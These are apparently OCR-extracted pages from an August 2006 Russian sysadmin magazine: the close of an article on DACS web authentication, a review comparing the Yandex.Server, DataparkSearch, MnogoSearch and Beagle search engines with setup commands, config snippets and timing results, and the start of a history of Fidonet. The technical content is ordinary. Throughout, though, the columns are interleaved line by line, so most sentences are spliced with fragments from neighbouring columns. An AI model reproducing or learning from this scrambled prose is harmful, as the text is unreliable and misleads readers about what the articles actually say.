бирать наиболее подходящий способ здать более тонкое описание пара- стройках. Правда, для администрато-
или их комбинацию, исходя из конк- метров доступа к ресурсам, в зависи- ра это означает, что придется провес-
ретных условий. При этом DACS уже мости от IP-адреса, доменного имени, ти не один час за первоначальной на-
имеет встроенные модули аутенти- даты и времени суток, используемого стройкой всей системы. Имеет смысл
фикации, но при необходимости мож- метода аутентификации, расширения использовать DACS в том случае, ког-
но использовать и имеющие в веб-сер- файла и прочих параметров. То есть да необходимо организовать доступ
вере Apache. фактически задать персональные па- пользователей к нескольким серве-
Для обмена данными между сер- раметры для доступа к любому ресур- рам. Затраты на установку и настрой-
висом аутентификации DACS и мо- су. После успешной регистрации на ос- ку затем с лихвой окупятся простотой
дулем аутентификации используется новании данных пользователя (имени, сопровождения. Также, вероятно, име-
XML-протокол. Модуль аутентифика- группы, роли и т. д.) могут быть выпол- ет смысл использовать DACS для то-
ции сообщает DACS об успешной ау- нены некоторые действия, например, го, чтобы унифицировать различные
тентификации и имени пользователя перенаправление на определенную схемы аутентификации. Проект пре-
(через переменную REMOTE_USER), веб-страницу, необходимые для этого доставляет большое количество до-
пользователь Apache при этом авто- параметры сохранены в переменной кументации, которая, по моему мне-
матически преобразуется в пользо- AUTH_SUCCESS_HANDLER. Все за- нию, несколько запутанна, хотя, ве-
вателя DACS. DACS расширяет стан- просы регистрируются в контрольном роятно, это связано с наличием мно-
дартные возможности по аутентифи- журнале. гочисленных понятий и вариантов на-
кации Apache. Так DACS может удос- строек. В документе «DACS Quick Start
товерить пользователя, используя не- Совместимость Tutorial» сказано, что тестовую конфи-
сколько методов: и требования гурацию можно собрать всего за 30
 сертификат X.509 (через SSL); Актуальной на момент написания ста- минут. Так ли это? Проверим в следу-
 паролей UNIX или Apache (создан- тьи является версия 1.4.13а с датой ре- ющий раз.
ных утилитами htpasswd, htdbm лиза 2 июня 2006. Буква «а» появилась Успехов.
или htdigest); в результате небольшого недоразуме-
 Windows NT LAN Manager (NTLM); ния, когда после релиза 1.4.13, состо- 1. Мичурин А. Базовая HTTP-авториза-
 Microsoft Active Directory или LDAP; явшегося днем раньше, была обнару- ция – защита от честных людей //«Сис-
 системы Pluggable Authentication жена ошибка, при определенных оп- темный администратор», № 5, 2005 г. –
Modules (PAM); циях завершающая конфигурирова- С. 88 – 92.
 собственной базы логинов и паро- ние с ошибкой (Invalid boolean result 2. Мичурин А. В чем сильные и слабые
лей; value). Если DACS используется для стороны HTTP digest-авторизации
 тождества установленного любым веб-аутентификации то для его уста- //«Системный администратор», № 10,
модулем аутентификации Apache; новки потребуется Apache 2.0.х (жела- 2005 г. – С. 44-51.
 внешней программы; тельна последняя версия 2.0.58) и на- 3. Сайт DSS – http://www.dss.ca.
 комбинируя стили. чиная с 1.4.13а уже возможно исполь- 4. Сайт National Forest Information System –
зование Apache 2.2. Поддержка вер- http://www.nfis.org.
Basic- и digest-аутентификация мо- сии 1.3 уже закончена, как говорят раз- 5. Сайт проекта CAS – http://www.ja-sig.
жет обрабатываться непосредственно работчики, по причине малой ее акту- org/products/cas/index.html.

78
web

Тестируем движки поисковых машин

Иван Максимов
Большинство из вас каждый день пользуется поисковыми машинами в Интернете.
Какие они изнутри? Чем они отличаются?

Р
азные компании, разрабатыва- 2500+, 512 DDR 3200 (DUAL), HDD поративные, предназначенные для ра-
ющие поисковые движки, пыта- 160 Гб WesternDigital SATA (8 Мб кэш, боты с множеством клиентов и группой
ются занять ниши на рынке, кто- 7200 оборотов). Именно этот докумен- ресурсов. К ним можно отнести рас-
то совершенствует пользовательский тооборот мы и будем индексировать. сматриваемые далее движки Yandex.
интерфейс, другие заботятся о скоро- Возможно, кто-то задастся вопросом: Server, DataparkSearch, Mnogosearch,
сти работы и функциональности, тре- «Мы рассматриваем движки поиско- ASPseek и htdig. Вторые – пользова-
тьи пытаются охватить все популярные вых машин, почему бы не тестировать тельские, предназначенные для об-
платформы, а другие собирают все пе- их на реальных внешних ресурсах, на- легчения поиска информации на ком-
речисленные возможности. Некото- пример на www.samag.ru?» Сделано пьютере пользователя. В связи с тем,
рые разработчики поисковых движков это для того, чтобы максимально не за- что пользовательские движки поиско-
не выдерживают конкуренции и выхо- висеть от пропускной способности ка- вых машин под ОС Linux плохо освеще-
дят из борьбы, иные переходят частич- нала. Поисковые машины будут уста- ны в Интернете, и для полноты карти-
но или полностью на «коммерческие навливаться на практически идентич- ны данного обзора я также рассмотрю
рельсы». Надеюсь, обзор прольет свет ную машину, расположенную в данной движок Beagle (как наиболее «сильно-
на некоторые проекты, продемонстри- сети. Пропускная способность локаль- го» представителя группы).
рует их преимущества и недостатки ной сети 100 Мб (half duplex).
в различных задачах. Все движки будут тестировать- Yandex.Server
ся с максимально едиными услови- Известный многим движок поисковой
Задача. Файловый сервер ями, но все же отличными. Связано машины Яндекс – коммерческий про-
В сети имеется файловый сервер под это с тем, что разные движки облада- ект. Для ознакомления существует
управлением ОС Linux. Для совмести- ют различным функционалом, инстру- shareware-версия движка, которую мы
мости с различными задачами на сер- ментарием, некоторые иногда в чем-то и рассмотрим. К сожалению, пробная
вере установлены популярные пакеты ограничены (коммерческие версии). версия во многом ограничена.
samba и proftpd. Количество докумен- В конце обзора каждого движка будут Установить движок можно под опе-
тов – около 2 тысяч (занимаемый раз- даны примерные сравнительные ха- рационные системы FreeBSD, Linux,
мер на диске примерно 1,5 Гб), раз- рактеристики. Solaris, Windows. По заявлениям
личных форматов (txt, html, doc, xls, Итак, приступим к обзору, уста- разработчиков, при заказе версии
rtf), используется файловая система новке, конфигурированию и сравне- Professional возможно портирование
reiserfs (3-я версия). Отмечу, что боль- нию движков. движка практически под любую плат-
шая часть документов (около 80-85%) форму заказчика.
состоит из форматов MS Excel (xls) Обзор поисковых машин Рассмотрим установку движка под
и MS Word (doc). Аппаратное обеспе- Движки поисковых машин можно от- Linux из tgz-архива. Скопируем и ра-
чение файлового сервера: AMD Athlon нести к двум категориям. Первые – кор- зархивируем Яndex.Server Standard.

80
web
Распаковывать архив лучше в корень диска:

gzip -d name.tgz /
tar -xvf name.tar /

Движок сконфигурирован на работу в директори-


ях /etc/rc.d/inid.d, /usr/local/yandex и /usr/local/sbin/yandex.
Если вам необходимо расположить все файлы в удобном
для вас месте, отредактируйте параметры рабочих ди-
Рисунок 1. Примеры форм поисковых движков
ректорий WORK_DIR и YANDEX в файле yandex.sh. Пер-
вое, что сразу бросается в глаза после установки, – от-
сутствие исходных кодов столь привычных пользовате-
лям открытых систем. Заглянем в файл конфигурации
yandex.cfg.dist (расположенный в папке движка). Все ком-
ментарии на русском языке, никаких проблем возникнуть
не должно. Файл разделен на две секции server (парамет-
ры работы серверной части движка) и collection (парамет-
ры индексирования).
Для начала работы движка необходимо создать файл
yandex.cfg из файла шаблона yandex.cfg.dist и отредакти-
ровать параметры в секции collection: StartUrls (индексиру-
емый ресурс) и IndexLog (запись результатов индексиро-
вания), а в секции server – Serverlog (запись отчета работы Рисунок 2. Администрирование Yandex.Server
сервера). По умолчанию многие подсекции закомментиро-
ваны, допустим, для индексации text/plain формата нужно вертированы пакетами catdoc и unrtf в формат txt. Итак, ин-
удалить в подсекции DocFormat символы <!-- и --> (или за- дексирование 2000 документов (text/plain) объемом 170 Мб
комментировать их символом #). заняло чуть менее 2 минут. Очень впечатляющая скорость,
Добавим форму поиска на заглавную страницу нашего но есть подозрения, что обработка тех же файлов в их ис-
apach сервера (см. рис. 1): ходных форматах (xls, doc, rtf их объем в 5-7 раз больше)
займет время, пропорциональное размеру файлов, плюс
<FORM METHOD=GET ACTION="http://HOST:17000/"> время работы внешнего модуля (парсета). Время поиска
<INPUT TYPE="text" NAME="text" VALUE="">
<INPUT TYPE="submit" VALUE="Search"> по базе также феноменально – менее секунды.
</FORM>
DataparkSearch
HOST – имя ресурса с Yandex-сервером. Теперь поиск до- В статье «Возможности поискового движка DataparkSearch»
ступен для пользователей нашей локальной сети. [8] мы уже рассматривали установку поисковой маши-
И та к, п р о г р а м м а н ас т р о е н а, з а п ус т и м с к р и п т ны, поэтому я коснусь лишь новых моментов, появивших-
«yandex.sh start» и зайдем на ресурс http://localhost:17000/ ся в движке. Последняя стабильная версия (на момент на-
admin (см. рис. 2). Перед нами появится веб-интерфейс, писания статьи) 4.40.1, версия снапшота 4.41 от 16.07.2006,
состоящий всего из трех основных функций: запуска ин- как уже было отмечено, обновление и исправление движ-
дексирующего «паука», открытия доступа пользовате- ка происходят достаточно оперативно. Какие интересные
лям к поисковый машине и остановки Yandex.Server. Ес- и полезные функции были добавлены после версии 4.38?
ли все настройки были выполнены правильно, можно на- Была улучшена работа движка в режиме cache, добав-
чать индексирование и запускать поиск для пользовате- лена возможность сборки модуля mod_dpsearch для веб-
лей (см. рис. 3). сервера Apache без пересборки всего движка. Послед-
Хотелось бы отметить, что проблем и неудобств в кон- нее нововведение было сделано в связи с тем, что мно-
фигурировании движка не возникало. Простая настройка гие пользователи вначале конфигурируют поисковый дви-
и качественная документация – это несомненно огромные жок для работы без модуля, а позже, желая достичь мак-
плюсы. Также к преимуществам относится высокая ско- симальной производительности (или просто «посмотреть,
рость движка: время индексации и поиска осуществляет- как это работает»), пересобирают весь движок для полу-
ся в очень короткое время, но об этом позже. Неприятным чения mod_dpsearch. На данный момент некоторые новов-
моментом оказалось то, что в shareware-версии достаточ- ведения не вошли в официальную документацию движка,
но много ограничений, например, нет возможности редак- поэтому ниже будет приведен пример компиляции модуля
тировать файл результатов поиска, как и добавление до- для веб-сервера Apache. Раз уж зашел разговор о доку-
полнительных модулей (парсетов) для обработки иных ти- ментации, отмечу, что на веб-сайте проекта выложена до-
пов файлов (doc, xls, rtf и другие). кументация по версии движка 4.39, в самом же дистрибу-
Так как в shareware-версия движка нет возможности ин- тиве находится обновленная для последней версии 4.41,
дексировать форматы, отличные от HTML и text plain для так что будьте внимательны.
проведения тестирования по скоростным характеристикам Итак, чем же достигается большая скорость работы
и получения «чисел», все xls-, doc-, rtf-документы были кон- движка за счет данного модуля? mod_dpsearch совмещает

№8, август 2006 81


web
к ним возвращаться, также напомню,
что не стоит забывать про штатную до-
кументацию движка.
Запустим веб-сервер командой
«service httpd start», обратимся по адре-
су localhost/search, перед нами появится
форма поиска движка DataparkSearch.
Отмечу, что сами разработчики ре-
комендуют для наибольшей эффектив-
ности работы комплекса использовать
именно mod_search совместно с режи-
мом хранения cache.
В предыдущей статье уже были
представлены скоростные характерис-
тики движка, но для примерного сравне-
ния все же повторюсь, индексирование
примерно 2000 файлов (txt, html, doc, xls,
Рисунок 3. Пример результата поиска Yandex.Server rtf) в режиме хранения данных cache за-
нимает примерно 30 минут. При добав-
в себе функции searchd и search.cgi. Первый хранит в памя- лении модуля mod_search скорость поиска практически
ти некоторые загруженные данные, без него движок каждый не выросла, около одной секунды. Возможно, при большем
раз при запросах будет читать информацию с диска. Вто- количестве данных и построении сложных поисковых за-
рой файл – скрипт поиска и выборки информации из СУБД, просов эффективность от использования модуля для сер-
как правило, каждый раз загружается с жесткого диска. Мо- вера Apache будет более наглядна.
дуль хранит большинство данных в памяти, а не подгружает
постоянно с жесткого диска нужную информацию, за счет MnogoSearch
этого и достигается большая эффективность движка. Рас- MnogoSearch[3] – это многим известный и распростра-
смотрим теперь конфигурирование. ненный движок, входящий в комплект некоторых дистри-
После распаковки движка запустим конфигуратор бутивов Linux. Возможна установка движка под Windows
не скриптом мастером установки (install.pl), а иначе: и Linux/BSD-платформы в «связке» с различными SQL
СУБД (MS Access, MySQL, PostgreSQL, Interbase, MS SQL,
# ./configure –enable-apachecacheonly Oracle и другие).
При первом взгляде на MnogoSearch сразу бросается
Далее компиляция происходит стандартными коман- в глаза схожесть с его клоном – DataparkSearch, но это не сов-
дами «make && make install». Новоиспеченный откомпили- сем так. Ознакомившись с функционалом и настройками
рованный модуль будет располагаться вместе с осталь- данной поисковой машины, вы в этом убедитесь.
ными модулями веб-сервера в папке /etc/httpd/modules/ Для работы понадобится MySQL и веб-сервер Apache.
(или /etc/httpd/libexec/). Теперь добавим в файл конфигура- После распаковки архива движка вы видите уже знакомый
ции apach сервера (скорее всего /etc/httpd/conf/httpd.conf) нам файл install.pl (мастер конфигурирования), запустим его
информацию о модуле: и ответим на все необходимые вопросы, такие как выбор
пути установки движка, SQL СУБД и другие.
# Директивы загрузки Далее откомпилируем движок стандартными ко-
LoadModule dpsearch_module modules/mod_dpsearch.so
AddModule mod_dpsearch.c мандами «make && make install». Перейдем в дирректо-
рию с установленным движком. Первое, что можно за-
# Конфигурационные файлы модуля
<Ifmodule mod_dpsearch.c> метить, – практически идентичность папок и файлов
DataparkSearchdConf /usr/local/dpsearch/etc/modsearchd.conf с DataparkSearch, даже при беглом осмотре конфигураци-
<Location /search>
SetHandler dpsearch онных файлов (indexer.conf и search.htm) это мнение уси-
DataparkSearchTemplate ↵ ливается. Сразу хочу предупредить пользователей, рабо-
/usr/local/dpsearch/etc/modsearch.htm
</Location> тающих с DataparkSearch, не следует копировать конфи-
<Location /storedoc> гурационные файлы в MnogoSearch, при кажущейся од-
SetHandler dpstoredoc
DataparkStoredocTemplate ↵ нотипности движки очень разные. Конечно, из экспери-
/usr/local/dpsearch/etc/modstoredoc.htm мента можно сделать так – переписывать, переконфигури-
</Location>
</IfModule> ровать и добавлять информации придется много, намно-
го проще взять готовые шаблоны файлов MnogoSearch
Как вы видите, конфигурационные файлы – это копии и исправить параметры под свои задачи. Но мы отвлек-
файлов без приставки «mod», расположенных в директо- лись, продолжим настройку.
рии etc движка, достаточно просто скопировать их и все, Создадим базу данных в MySQL командой:
модуль готов к работе. Так как примеры конфигурацион-
ных файлов были описаны в предыдущей статье, не буду sh$ mysqladmin create search

82
web
Если у вас не создан пользователь в MySQL, то создай- установить до начала индексации. Если необходимо обра-
те его: батывать иные типы файлов, то нужно установить и другие
парсеты (пакеты), более подробно мы говорили о них в пре-
sh$mysql --user=root mysql дыдущей статье, поэтому не будем рассматривать этот воп-
mysql> GRANT ALL PRIVILEGES ON *.* TO пользователь@localhost
IDENTIFIED BY 'пароль' WITH GRANT OPTION; рос (информацию с некоторыми примерами о парсетах мож-
exit но также найти в документации).
Второй файл конфигурации – это search.htm, состо-
Для минимальной конфигурации движка необходимо ит из двух основных блоков, первый содержит данные
indexer.conf-dist (шаблон, находящийся в папке etc относи- для скрипта search.cgi, второй – дизайн шаблона выво-
тельно движка) переименовать в indexer.conf и изменить не- да информации. Необходимо изменить параметр DBAddr,
которые параметры. Первое и необходимое – указываем он должен совпадать с таким же в indexer.conf
используемую СУБД, имя и пароль пользователя в MySQL,
название базы данных и используемый режим хранения DBAddr mysql://пользователь:пароль@localhost/searchmn/ ↵
?dbmode=режим
данных (о dpmode будет рассказано позже).
Если указанные параметры будут иными, движок вмес-
DBAddr mysql://пользователь:пароль@localhost/search/ ↵ то вывода искомой информации сообщит вам о соответс-
?dbmode=режим
твующей ошибке. Это наиболее распространенная ошиб-
Так как мы будем индексировать txt-, html-, doc-, xls-, ка при конфигурировании движка, поэтому будьте внима-
rtf-файлы, то закомментируйте строки, запрещающие тельны.
их индексацию: Скопируем search.cgi из директории bin движка в дирек-
торию cgi-bin веб-сервера и пропишем форму для вызова
#Disallow *.tex *.texi *.xls *.doc *.texinfo скрипта в index.shtml:
#Disallow *.rtf *.pdf *.cdf *.ps

Также необходимо расскомментировать три строки, от- <FORM METHOD=GET ACTION="/cgi-bin/search.cgi">


<INPUT TYPE="text" NAME="q" VALUE="">
вечающие за конвертацию офисных форматов в формат <INPUT TYPE="submit" VALUE="Search">
text, понятный MnogoSearch: </FORM>

Mime application/msword "text/plain; ↵ Минимальное конфигурирование выполнено, можно со-


charset=utf-8" "catdoc -a -dutf-8 $1"
Mime application/vnd.ms-excel text/plain "xls2csv $1" здать SQL-таблицы и начать индексацию. Команда:
Mime "text/rtf*" text/html ↵
"rthc --use-stdout $1 2>/dev/null"
./indexer -Ecreate
И последнее – укажем индексируемый ресурс:
создаст все необходимые записи в MySQL, если появи-
Server ftp://192.168.0.11/ лись сообщения об ошибке – внимательно посмотрите вы-
ходную информацию выше, чаще всего это ошибки об от-
Конфигурационный файл не приведен здесь целиком сутствии доступа.
из-за большего объема, но если вы желаете достичь боль-
шей функциональности «паука», реко-
мендуется ознакомиться с сопроводи-
тельной документацией.
Теперь подробнее о режимах dpmode.
В MnogoSearch с версии 3.2.16 отклю-
чена поддержка режима cache в свя-
зи с найденными там ошибками, дан-
ный режим был заменен на blob. Имен-
но его и рекомендуют использовать раз-
работчики, но если верить документа-
ции, движок в данном режиме не рабо-
тает с СУБД Interbase/Firebird и SQLite.
На мой взгляд, это упущение, так как
Firebird становится все более и более
распространенной базой данных. Ис-
пользование более медленного режима
dpmode – multi сильно тормозит движок,
но позволяет использовать его с Firebird.
Очень хочется надеяться, что разработ-
чики решат данную задачу.
Должен напомнить, что пакеты catdoc
и rthc – внешние программы, их нужно Рисунок 4. Пример результата поиска MnogoSearch

№8, август 2006 83


web

О движках, не вошедших в обзор... тично поставить на новые дистрибутивы тается все еще популярным (для обра-
...Но весьма интересных. В статье [8] я упо- Linux и *BSD-систем, одно из затруднений – ботки небольших объемов данных), не-
минал некоторые поисковые машины, та- ошибки при компиляции в gcc3 (и особенно смотря на то, что последний официаль-
кие как Wordindex [5], ASPseek [6], htdig [7] 4 версии), но обратившись на форум мож- ный релиз был в 2004 году. Хорошим при-
и другие. Из перечисленных, но не вошед- но найти ссылки на измененные версии мером работы движка, можно считать
ших в сегодняшний обзор, стоит выделить движка, которые вполне работоспособны. то, что он помогает обеспечивать рабо-
ASPseek и hidig. Почему именно они? Как мы видим, ASPseek еще использует- ту достаточно популярного и многим из-
ASPseek уже успел устареть, послед- ся и дорабатывается, несмотря на отсутс- вестного портала – www.opennet.ru. Как
няя официальная версия движка вышла твие официальной поддержки. Хотелось бы можно увидеть на странице-путеводите-
в 2002 году, но на форуме сайта можно напомнить, что стоит «доверять, но прове- ле (http://www.opennet.ru/guide.shtml), htdig
встретить энтузиастов, которые помогают рять» неофициальные снапшоты любого хорошо справляется с объемом данных
с поддержкой движка. Официальный ре- программного обеспечения. в 1,5 Гб, ну а о качестве работы движка
лиз версии 1.2.10 достаточно проблема- Htdig – движок поисковой машины ос- можно судить там же.

Для начала индексации просто запустите indexer, если дачей. Настройка из консоли осуществляется утилитой
вы хотите проиндексировать небольшое количество доку- beagle-config, немного сложнее, чем в графическом режиме,
ментов, то запустите «indexer -n N», где N количество фай- но опытные пользователи ОС Linux так же быстро разберут-
лов или с параметром «indexer -с N», где N время работы ся со всеми параметрами. Рассмотрим пару примеров:
«паука» в секундах.
Если используется режим dpmode – blob, то по окончании beagle-config indexing AddRoot /mnt/disk2
работы «паука» нужно выполнить команду indexer – Eblob.
Теперь о скоростных характеристиках. Индексиру- где indexing – необходимый конфигурационный файл,
ются те же 2000 файлов, время индексации в режиме AddRoot – секция и последний параметр – путь к индекси-
dpmode-blob занимает чуть менее 20 минут. Время поис- руемой папке.
ка по базе около секунды. Пример результатов поиска
MnogoSearch смотрите на рис. 4. beagle-config indexing AddExclude pattern file.xxx

Beagle В примере мы добавляем одно исключение – на за-


Поисковая машина хорошо знакома пользователям ОС прет индексации файлов «file.xxx». Некоторые примеры
SUSE Linux от Novell. Именно в этот дистрибутив включен и полный синтаксис команд вы можете найти в сопроводи-
по умолчанию «поисковик». Но это не значит, что Beagle [4] тельной документации движка и быстрой справке по отде-
нельзя использовать в других Linux-дистрибутивах, на офи- льным утилитам.
циальном сайте проекта имеются рекомендации по ус- Пользователи, предпочитающие все настраивать вруч-
тановке движка под Debian, Mandrake (известный теперь ную и не доверяющие всевозможным мастерам настрой-
как Mandriva), Gentoo, Ubuntu и другие. Замечу, что если вы ки, могут самостоятельно отредактировать конфигураци-
пользуетесь SUSE Linux, то без особого труда установите онные файлы Beagle (их всего пять: indexing.xml, daemon.
движок. А пользователям других дистрибутивов Linux при- xml, searching.xml, networking.xml и webservices.xml), рас-
дется устанавливать большое количество пакетов. Итак, ска- положенные в папке configure движка. Не стану приво-
чав данную поисковую машину, откомпилируем ее стандар- дить примеры всех этих файлов, остановлюсь только
тными командами «configure, make && make install» и присту- на indexing.xml для ознакомления синтаксиса и одновре-
пим к ее конфигурированию. Настройка Beagle возможна менно проверим, занесла ли утилита beagle-config два на-
как в графическом режиме, так и в консоли. Запустим про- ших параметра:
грамму конфиг у-
рирования движка <?xml version="1.0" encoding="utf-8"?>
<IndexingConfig xmlns:xsd="http://www.w3.org/2001/XMLSchema" ↵
beagle-settings, пе- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
ред нами появится <Roots>
<Root>/mnt/disk2</Root>
графический интер- </Roots>
фейс (см. рис. 5) <IndexHomeDir>true</IndexHomeDir>
<Excludes>
настройки: «горя- <ExcludeItem Type="Path" Value="/mnt/disk3/DENY" />
чей» клавиши для <ExcludeItem Type="Pattern" Value="file.xxx" />
</Excludes>
вызова поиска, па- </IndexingConfig>
пок для индекса-
ции и возможности В секции Root указывают индексируемые директории,
назначения исклю- тогда как Excludes содержит правила запретов индексиро-
чений, думаю боль- вания (путь к директории или название файла). Разобрать-
шинство пользова- ся в синтаксисе не так и сложно.
телей легко справ- Минимальное конфигурирование выполнено, для на-
Рисунок 5. Графический интерфейс
настройки Beagle ляется с этой за- чала индексации просто запустим демона beagled. В папке

84
web
log можно найти результаты индекси- Сравнительные характеристики поисковых движков (* напомню, что все файлы
были переведены из форматов xls, doc, rtf в формат text/plain)
рования, файлы формируются в таком
виде: 2006-07-02-13-02-04-IndexHelper, Yandex.Server DataparkSearch MnogoSearch Beagle
а не единым log-файлом. После окон- Кросплатформенность Да Нет Да Нет
чания индексации приступаем к поиску Русскоязычная документация Да Да Нет Нет
информации. Возможен поиск по базе
Многоязыковая поддержка индексации Да Да Да Да
как в графическом режиме, утилитой
Лицензия Windows Shareware – Shareware –
beagle-search (см. рис. 6), так и в кон-
соли, программой beagle-query. Лицензия *nix Shareware GNU GNU MIT

В комплект поставки Beagle вхо- Время индексации < 2 мин.* < 30 мин. < 20 мин. < 25 мин.
дит достаточно много вспомогатель- Время поиска < 1 сек. < 1 сек. 1 сек. 2-3 сек.
ных утилит, например, beagle-index-info
выводит информацию о количестве зацией базы данных в MySQL). К сожа- MnogoSearch– полукоммерческий
и типе проиндексированных докумен- лению, охватить все стороны выбран- проект с богатым функционалом, есть
тов. С помощью Beagle-index-url мож- ных движков в одной статье просто не- выбор версий движков и платформ. Дви-
но задать веб-ресурс для индексации. возможно. Документация ко всем кор- жок давно уже успел себя зарекомендо-
Beagle-info выводит исчерпывающую поративным поисковым машинам со- вать. Индексация документов происхо-
информацию о демоне beagle, соб- ставляет сотни страниц, простое чте- дит достаточно быстро, но время поис-
ранной информации, установленных ние этой информации займет несколь- ка по базе при больших объемах данных
фильтрах и так далее. ко дней. Но все же можно сделать не- и сложных запросах бывает очень боль-
Должен заметить, что возможность которые выводы из полученных дан- шое. Не хватает движку документации
конфигурирования и поиска из консо- ных (см. таблицу). на русском языке, так как неискушенно-
ли позволяет устанавливать данный Yandex.Server – из рассмотренных му пользователю разбираться в доста-
движок на удаленный шелл и легко ис- движков явный фаворит, время индек- точно сложных поисковых машинах все
пользовать его в работе, при этом не сации и поиска минимальное. Отлич- же проще на родном языке.
задействуя сервисов требующих пра- ная документация, поддержка, крос- Beagle – простой пользователь-
ва суперпользователя (root). Время ин- сплатформенность, мощный функци- ский движок, предназначенный для
дексации примерно 2000 тысяч доку- онал – большие плюсы. Движок мож- облегчения поиска информации на
ментов равна 23 минутам. Огорчило но рекомендовать для крупных и хоро- локальном компьютере. Движок хоро-
только время поиска по базе, простые шо финансируемых проектов. Компро- шо справляется с задачами, на кото-
запросы beagle обрабатывает 3-4 се- мисс, конечно, есть всегда, существует рые он ориентирован. Немного огор-
кунды, но не стоит забывать, что дви- несколько редакций движка, но полная чает время поиска по базе и некото-
жок позиционируется как пользова- версия движка все же дорога, по дан- рые проблемы при индексации доку-
тельский. ному поводу на форуме Yandex уже ментов MS Word (doc), о чем нас пре-
давно идут дебаты. дупреждают разработчики.
Итоги DataparkSearch – полностью сво- Примечательно, что все три корпо-
Я не претендую на то, что все движ- бодный проект, давно уже перестав- ративные поисковые машины Yandex,
ки были идеально сконфигурирова- ший быть клоном MnogoSearch. Основ- DataparkSearch, MnogoSearch– рос-
ны, в каждом конкретном случае мож- ное отличие и плюс – это mod_dpsearch сийские проекты, причем выбор обзо-
но добиться более впечатляющих ре- для веб-сервера Apache, за счет него ра был сделан не целенаправленно по
зультатов (можно «выиграть» в скоро- движок очень быстро обрабатывает данному критерию, а из соображений
сти поиска по СУБД простой оптими- при поиске большие объемы данных. «какие хорошие проекты рекоменду-
ют на просторах сети Интернет?». Ос-
тается только порадоваться за наших
разработчиков, движки развиваются
и поддерживаются.

1. Yandex – http://company.yandex.ru /
technology/products/yandex-server.xml.
2. DataparkSearch – http://www.datapark
search.org.
3. MnogoSearch – http://www.mnogosearch.ru.
4. Beagle – http://beagle-project.org.
5. Wordindex – http://wordindex.sourceforge.net.
6. ASPseek – http://www.aspseek.org.
7. Htdig – http://htdig.org.
8. Максимов И. Возможности поискового
движка DataparkSearch. //Системный ад-
Рисунок 6. Графический интерфейс утилиты beagle-search министратор, №5, май 2006 г. – С. 80-84.

№8, август 2006 85


ретроспектива

Сеть друзей: история Fidonet


В тебе мы находим пpизванье сyдьбы,
С тобой yзнаем обо всем, от и до,
Чем дальше, тем больше становишься ты
Сынами своими; ты бог наш, ФИДО!

Гимн российского Fidonet

Илья Александров
Фидо… Для кого-то это слово – пустой звук, для многих из вас – часть жизни, пусть, быть
может, и прошлой. Но история первого в России компьютерного сообщества будет интересна
каждому.

История сети образом к приватной переписке с по- написанного на приклеенном к мони-


1984 год. Компьютеры уже перестали мощью BBS. На дозвон по нужным но- тору стикере. Забегая вперед, скажу,
быть такими громоздкими, однако сеть мерам и работу в терминалах уходило что символом сети Fidonet стала все-
ARPAnet ещё не успела опутать земной огромное количество времени, и Том, таки именно собака, сжимающая в зу-
шар глобальной виртуальной «паути- являясь неплохим программистом, на- бах компьютерную дискету.
ной» и превратиться в Интернет. Это писал программу для автоматизации Следующие версии программы уже
будет потом, а пока немногочислен- этого процесса. Утилита сама дозва- базировались на пакетной системе пе-
ные пользователи компьютеров об- нивалась до электронных досок объяв- редачи данных, что многократно повы-
мениваются друг с другом информа- лений, отправляла письма и скачива- шало скорость работы. В итоге эта уни-
цией и программным обеспечением ла поступившие на адрес пользовате- кальная утилита привлекла внимание
путем BBS. Напомню, BBS представ- ля файлы. Программа эта была назва- и стала весьма популярной. Пользова-
ляли собой электронные доски объ- на создателем не иначе как FIDO, что тели программы Fido и положили нача-
явлений, доступ к которым осущест- впоследствии вызовет массу споров: ло сети, получившей простое и логич-
влялся посредством модема и теле- кто-то утверждал, что так звали соба- ное название – Fidonet.
фонной линии. ку Дженнингса (Фидо – такая же рас- Для подключения к сети достаточ-
В это время в Америке живут два пространенная в Соединенных Штатах но было всего лишь установить на ком-
друга-компьютерщика: Том Дженнингс кличка собак, как у нас Рекс или Ша- пьютер программу и написать заявку
(Thomas Jennings) и Джон Мэдилл рик), другие говорили, что не было у не- Дженнингсу. Использование Fidonet
(John Madill). Поскольку Том находил- го никакого пса вообще. В итоге ока- было бесплатным; оплачивались
ся в Сан-Франциско, а Джон – в Балти- залось, что Том взял название из пер- только расходы на телефонную связь.
море, их общение сводилось главным вого попавшегося ему на глаза слова, На протяжении всего периода своего

86
ретроспектива
существования Фидо была и остаётся дящий за порядком и развитием се-
некоммерческой сетью. ти, самым главным из которых явля-
Количество пользователей Fidonet ется интернациональный координа-
постоянно росло. Так, если в 1987 го- тор. Принятые им решения может от-
ду их было всего 2,5 тысячи, то к 1992менить только совет координаторов
году эта цифра увеличилась до 16 ты- зон. Теперь подробнее об уровнях ие-
сяч. Одновременно с увеличением ко- рархии.
личества пользователей росли и воз- Наиболее крупная единица в деле-
можности самой сети. Появилась иден- нии Fido – «зона». Всего существует
тификация каждого отдельного учас- шесть зон, каждая из которых охваты-
тника Фидо, возможность отправлять вает, как правило, один континент. Тер-
сообщения и файлы сразу нескольким ритория бывшего СССР вместе с Ев-
адресатам. ропой относится ко второй зоне. Одно
В 1985 году группа программистов время для России хотели выделить от-
из Далласа создала протокол echomail. дельную, седьмую зону, но дело до это-
До этого момента сеть использова- го так и не дошло (и, видимо, уже ни-
лась исключительно для личной пере- когда не дойдет).
писки посредством протокола netmail – Зоны подразделяются на «регио-
фидошного аналога e-mail. С исполь- ны», охватывающие обычно отдельные
зованием echomail появилась возмож- страны. России отведен пятидесятый
Том Дженнингс
ность создания тематических конфе- регион. Каждый регион состоит из «се-
ренций (также именуемых «эхо-кон- тей», адрес которых входит в адрес ре- зуется услугами двести девятнадцато-
ференциями»): человек отправляет гиона – то есть номер всех сетей в Рос- го узла, на котором числится под циф-
сообщение, например, в конферен- сии имеет вид «50ХХ». рой «8».
цию US.FIDO, и его письмо пересыла- В свою очередь сеть объединяет
ется всем, кто на неё подписан. Эти несколько «узлов» в одной географи- Программное обеспечение
тематические конференции и состав- ческой области. Узел – это компьютер, Программное обеспечение для фи-
ляют основу Фидо, в них таится сек- осуществляющий прием почты от дру- дошника – больше, чем просто «софт».
рет ее успеха. гих узлов своей сети. Узел также на- Это – набор для «выживания в сети».
В это же время сеть «вырвалась» зывается «нодой» (от англ. «node»). Итак, для работы с Фидо требует-
из США и проникла в самые разные Владельца ноды, выделившего собс- ся следующий набор программного
точки земного шара, включая Австра- твенный ПК и телефонную линию на обеспечения:
лию и Южную Азию. 1990 год ознаме- благо Fidonet, называют «системным  Mail-клиент – устанавливает со-
новался появлением первого «фидош- оператором» (сокращенно – сисопом). единение с узлом и скачивает поч-
